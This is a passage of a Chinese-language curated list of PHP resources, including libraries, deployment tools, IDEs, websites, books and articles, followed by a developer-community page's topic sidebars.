一个简单的集合库 PINQ - 一个基于.NET实现的PHP的LINQ(Language Integrated Query)库 Serializer - 一个序列化和反序列化数据的库 Totem - -一个管理和创建数据交换集的库 YaLinqo - 另一个PHP的LINQ库 Zend Serializer - 另一个序列化和反序列化数据的库 (ZF2) 通知 Notifications 处理通知软件的库 JoliNotif - 一个跨平台的桌面通知库(支持Growl, notify-send, toaster等) Nod - 一个通知库(Growl等) Notification Pusher - 一个设备推送通知的独立库 Notificato - 一个处理推送通知的库 Notificator - 一个轻量级的通知库 Php-pushwoosh - 一个使用Pushwoosh REST Web服务轻松推送通知的PHP库 部署 Deployment 项目部署库 Deployer - 一个部署工具 Envoy - 一个用PHP运行SSH任务的工具 Plum - 一个部署库 Pomander - 一个PHP应用部署工具 Rocketeer - PHP世界里的一个快速简单的部署器 国际化和本地化 Internationalisation and Localisation 国际化(I18n)和本地化(L10n)的库 Cake I18n - 消息国际化和日期和数字的本地化 (CP) 第三方API Third Party APIs 访问第三方API的库 Amazon Web Service SDK - PHP AWS SDK官方库 Campaign Monitor - Campaign Monitor官方PHP库 Digital Ocean - Digital Ocean API接口库 Dropbox SDK - Dropbox SDK官方PHP库 Github - 一个Github API交互库 PHP Github API - 另一个Github API交互库 S3 Stream Wrapper - Amazon S3流包装库 Stripe - Stripe官方PHP库 Twilio - Twilio官方PHP REST API Twitter OAuth - 一个Twitter OAuth工作流交互库 Twitter REST - 一个Twitter REST API交互库 扩展 Extensions 帮助构建PHP扩展的库 PHP CPP - 一个开发PHP扩展的C++库 Zephir - 用于开发PHP扩展,且介于PHP和C++之间的编译语言 杂项 Miscellaneous 创建一个开发环境的软件 Annotations - 一个注释库(Doctrine的一部分) Cake Utility - 工具类如Inflector,字符串,哈希,安全和XML (CP) Chief - 一个命令总线库 ClassPreloader - 一个优化自动加载的库 Country List - 所有带有名称和ISO 3166-1编码的国家列表 Embera - 一个Oembed消费库 Essence - 一个用于提取网络媒体的库 Flux - 一个正则表达式构建库 Graphviz - 一个图形库 Hprose-PHP - 一个很牛的RPC库,现在支持25+种语言 JSON Lint - 一个JSON lint工具 JSONPCallbackValidator - 验证JSONP回调的库 Jumper - 一个远程服务执行库 LadyBug - 一个dumper库 Lambda PHP - 一个PHP中的Lambda计算解析器 LiteCQRS - 一个CQRS(命令查询责任分离)库 Metrics - 一个简单的度量API库 noCAPTCHA - 一个帮助使用谷歌noCAPTCHA (reCAPTCHA)的工具 Nmap - 一个Nmap PHP包装器 Opengraph - 一个开放图库 Pagerfanta - 一个分页库 PHP Expression - 一个PHP表达式语言 PHP PassBook - 一个iOS PassBook PHP库 PHP-GPIO - 一个用于Raspberry PI的GPIO pin的库 PHPCR - 一个Java内容存储库(JCR)的PHP实现 PHPStack - 一个PHP编写的TCP/IP栈概念 print_o - 一个对象图的可视化器 Procrastinator - 一个运行耗时任务的库 Prooph Service Bus - 轻量级的消息总线,支持CQRS和微服务 RMT - 一个编写版本和发布软件的库 sabre/vobject - 一个解析VCard和iCalendar对象的库 Slimdump - 一个简单的MySQL dumper工具 Spork - 一个处理forking的库 Sslurp - 一个使得SSL处理减少的库 SuperClosure - 一个允许闭包序列化的库 Symfony VarDumper - 一个dumper库(SF2) Underscore - 一个Undersccore JS库的PHP实现 Whoops - 一个不错的错误处理库 PHP安装 PHP Installation 在你的电脑上帮助安装和管理PHP的工具 HomeBrew PHP - 一个HomeBrew的PHP通道 HomeBrew - 一个OSX包管理器 PHP Brew - 一个PHP版本管理和安装器 PHP Build - 另一个PHP版本安装器 PHP Env - 另一个PHP版本管理器 PHP OSX - 一个OSX下的PHP安装器 PHP Switch - 另一个PHP版本管理器 VirtPHP - 一个创建和管理独立PHP环境的工具 开发环境 Development Environment 创建沙盒开发环境的软件和工具 Ansible - 一个非常简单的编制框架 Phansible - 一个用Ansible构建PHP开发虚拟机的web工具 Protobox - 另一个构建PHP开发虚拟机的web工具 PuPHPet - 一个构建PHP开发虚拟机的web工具 Puppet - 一个服务器自动化框架和应用 Vagrant - 一个便携的开发环境工具 虚拟机 Virtual Machines 相关的PHP虚拟机 Hack - 一个PHP进行无缝操作的HHVM编程语言 HHVM - Facebook出品的PHP虚拟机,Runtime和JIT HippyVM - 另一个PHP虚拟机 集成开发环境(IDE) Integrated Development Environment 支持PHP的集成开发环境 Eclipse for PHP Developers - 一个基于Eclipse平台的PHP IDE Netbeans - 一个支持PHP和HTML5的IDE PhpStorm - 一个商业PHP IDE Web应用 Web Applications 基于Web的应用和工具 3V4L - 一个在线的PHP和HHVM shell DBV - 一个数据库版本控制应用 PHP Queue - A一个管理后端队列的应用 MailCatcher - 一个抓取和查看邮件的web工具 Cachet - 开源状态页面系统 phpBeanstalkdAdmin - 一个Beanstalkd的监控管理页面 phpRedisAdmin - 一个用于管理Redis数据库的简单web界面 phpPgAdmin - 一个PostgreSQL的web管理工具 phpMyAdmin - 一个MySQL/MariaDB的web界面 Adminer - 一个数据库管理工具 Grav - 一个现代的flat-file的CMS 基础架构 Infrastructure 提供PHP应用和服务的基础架构 appserver.io - 一个用PHP写的多线程的PHP应用服务器 php-pm - 一个PHP应用的进程管理器、修改器和负载平衡器 PHP网站 PHP Websites PHP相关的有用的网站 Nomad PHP - 一个在线PHP学习资源 PHP Best Practices - 一个PHP最佳实践指南 PHP FIG - PHP框架交互组 PHP Mentoring - 点对点PHP导师组织 PHP School - 学习PHP的开源资源 PHP Security - 一个PHP安全指南 PHP The Right Way - 一个PHP最佳实践的快速指引手册 PHP UG - 一个帮助用户定位最近的PHP用户组(UG)的网站 PHP Versions - 哪些版本的PHP可以用在哪几种流行的Web主机上的列表 PHP Weekly - 一个PHP新闻周刊 PHPTrends - 一个快速增长的PHP类库的概述 Securing PHP - 一个关于PHP安全和库的建议的简报 Seven PHP - 一个PHP社区成员采访的网站 其他网站 Other Websites web开发相关的有用网站 Atlassian Git Tutorials - 一个Git教程系列 Hg Init - 一个Mercurial教程系列 Semantic Versioning - 一个解析语义版本的网站 Servers for Hackers - 一个关于服务器管理的新闻通讯 The Open Web Application Security Project (OWASP) - 一个开放软件安全社区 WebSec IO - 一个web安全社区资源 PHP书籍 PHP Books PHP相关的非常好的书籍 Functional Programming in PHP - 这本书将告诉你如何利用PHP5.3+的新功能的认识函数式编程的原则 Grumpy PHPUnit - 一本Chris Hartjes关于使用PHPUnit进行单元测试的书 Mastering Object-Orientated PHP - 一本Brandon Savage关于PHP面向对象的书 Modern PHP New Features and Good Practices - 一本Josh Lockhart关于新的PHP功能和最佳做法的书 Modernising Legacy Applications in PHP - 一本Paul M.Jones关于遗留PHP应用进行现代化的书 PHP 7 Upgrade Guide - 一本Colin O’Dell的包含所有PHP 7功能和改变的书 PHP Pandas - 一本Dayle Rees关于如何学习写PHP的书 Scaling PHP Applications - 一本Steve Corona关于扩展PHP应用程序的电子书 Securing PHP: Core Concepts - 一本Chris Cornutt关于PHP常见安全条款和实践的书 Signaling PHP - 一本Cal Evans关于在CLI脚本捕获PCNTL信号的书 The Grumpy Programmer’s Guide to Building Testable PHP Applications - 一本Chris Hartjes关于构建PHP应用程序测试的书 XML Parsing with PHP - 这本书涵盖的解析和验证XML文档,利用XPath表达式,使用命名空间,以及如何创建和修改XML文件的编程 其他书籍 Other Books 与一般计算和web开发相关的书 Elasticsearch: The Definitive Guide - Clinton Cormley和Zachary Tong编写的与Elasticsearch工作的一本指南 Eloquent JavaScript - Marijin Haverbeke关于JavaScript编程的一本书 Head First Design Patterns - 解说软件设计模式的一本书 Pro Git - Scott Chacon和Ben Straub关于Git的一本书 The Linux Command Line - William Shotts关于Linux命令行的一本书 The Tangled Web — Securing Web Applications - Michal Zalewski关于web应用安全的一本书 Understanding Computation - Tom Stuart关于计算理论的一本书 Vagrant Cookbook - Erika Heidi关于创建 Vagrant环境的一本书 PHP视频 PHP Videos PHP相关的非常不错的视频 PHP Town Hall - 一个随意的Ben Edmunds和Phil Sturgeon的PHP播客 PHP UK Conference - 一个PHP英国会议的视频集合 Programming with Anthony - Anthony Ferrara的视频系列 Taking PHP Seriously - 来自Facebook Keith Adams 讲述PHP优势 PHP阅读 PHP Reading PHP相关的阅读资料 Composer Primer - Composer初级使用 Composer Stability Flags - 一篇关于Composer稳定性标志的文章 Composer Versioning - 一篇关于Composer版本的文章 Create Your Own PHP Framework - 一部Fabien Potencier的关于如何创建你自己的PHP框架的系列文章 Don’t Worry About BREACH - 一篇关于BREACH攻击和CSRF令牌的文章 On PHP 5.3, Lambda Functions and Closures - 一篇关于lambda函数和闭包的文章 PHP Is Much Better Than You Think - 一篇关于PHP语言和生态圈的文章 PHP Package Checklist - 一个成功PHP包开发的清单 PHP Sucks! But I Like It! - 一篇关于PHP利弊的文章 Preventing CSRF Attacks - 一篇阻止CSRF攻击的文章 Seven Ways to Screw Up BCrypt - 一篇关于纠正BCrypt实现的文章 Use Env - 一篇关于使用unix环境帮助的文章 PHP内核阅读 PHP Internals Reading 阅读PHP内核或性能相关的资料 Disproving the Single Quotes Myth - 一篇关于单,双引号字符串性能的文章 How Big Are PHP Arrays (And Values) Really? - 一篇关于数组原理的文章 How Foreach Works - StackOverflow关于foreach回答的详情 How Long is a Piece of String - 一篇关于字符串原理的文章 PHP Evaluation Order - 一篇关于PHP评估顺序的文章 PHP Internals Book - 一本由三名核心开发编写的关于PHP内核的在线书 PHP RFCs - PHP RFCs主页(请求注解) Print vs Echo, Which One is Faster? - 一篇关于打印和echo性能的文章 The PHP Ternary Operator. Fast or Not? - 一篇关于三元操作性能的文章 Understanding OpCodes - 一篇关于opcodes的文章 When Does Foreach Copy? - 一篇关于foreach原理的文章 Why Objects (Usually) Use Less Memory Than Arrays - 一篇关于对象和数组原理的文章 You’re Being Lied To - 一篇关于内核ZVALs的文章 PHP杂志 PHP Magazines 有趣的PHP相关的杂志 php[architect] - 一个致力于PHP的月更的杂志
文章
Web App开发  ·  安全  ·  测试技术  ·  API  ·  PHP
2016-07-16
跳转至:
开发与运维
5618 人关注 | 131425 讨论 | 301675 内容
+ 订阅
  • dubbo很重要问题
  • dubbo的简单问题理解下
  • zk的简单问题
查看更多 >
大数据
188287 人关注 | 29193 讨论 | 80402 内容
+ 订阅
  • 基于SSM框架的网上商城购物系统的设计与实现(开源项目——实现增删改查功能整体流程超详细)上
  • 一图全解Kafka在zookeeper中的数据结构
  • 数据结构七大排序算法图解——插入排序动图展示
查看更多 >
数据库
252576 人关注 | 50732 讨论 | 94795 内容
+ 订阅
  • zk的简单问题
  • 基于SSM框架的网上商城购物系统的设计与实现(开源项目——实现增删改查功能整体流程超详细)下
  • 基于SSM框架的网上商城购物系统的设计与实现(开源项目——实现增删改查功能整体流程超详细)中
查看更多 >
安全
1191 人关注 | 23954 讨论 | 81226 内容
+ 订阅
  • 基于SSM框架的网上商城购物系统的设计与实现(开源项目——实现增删改查功能整体流程超详细)下
  • Web应用系统开发的两种流行架构
  • MySQL命令行导入数据库
查看更多 >
云原生
233918 人关注 | 11326 讨论 | 45243 内容
+ 订阅
  • dubbo很重要问题
  • dubbo的简单问题理解下
  • serveless 思想 Midway.js 框架使用教程
查看更多 >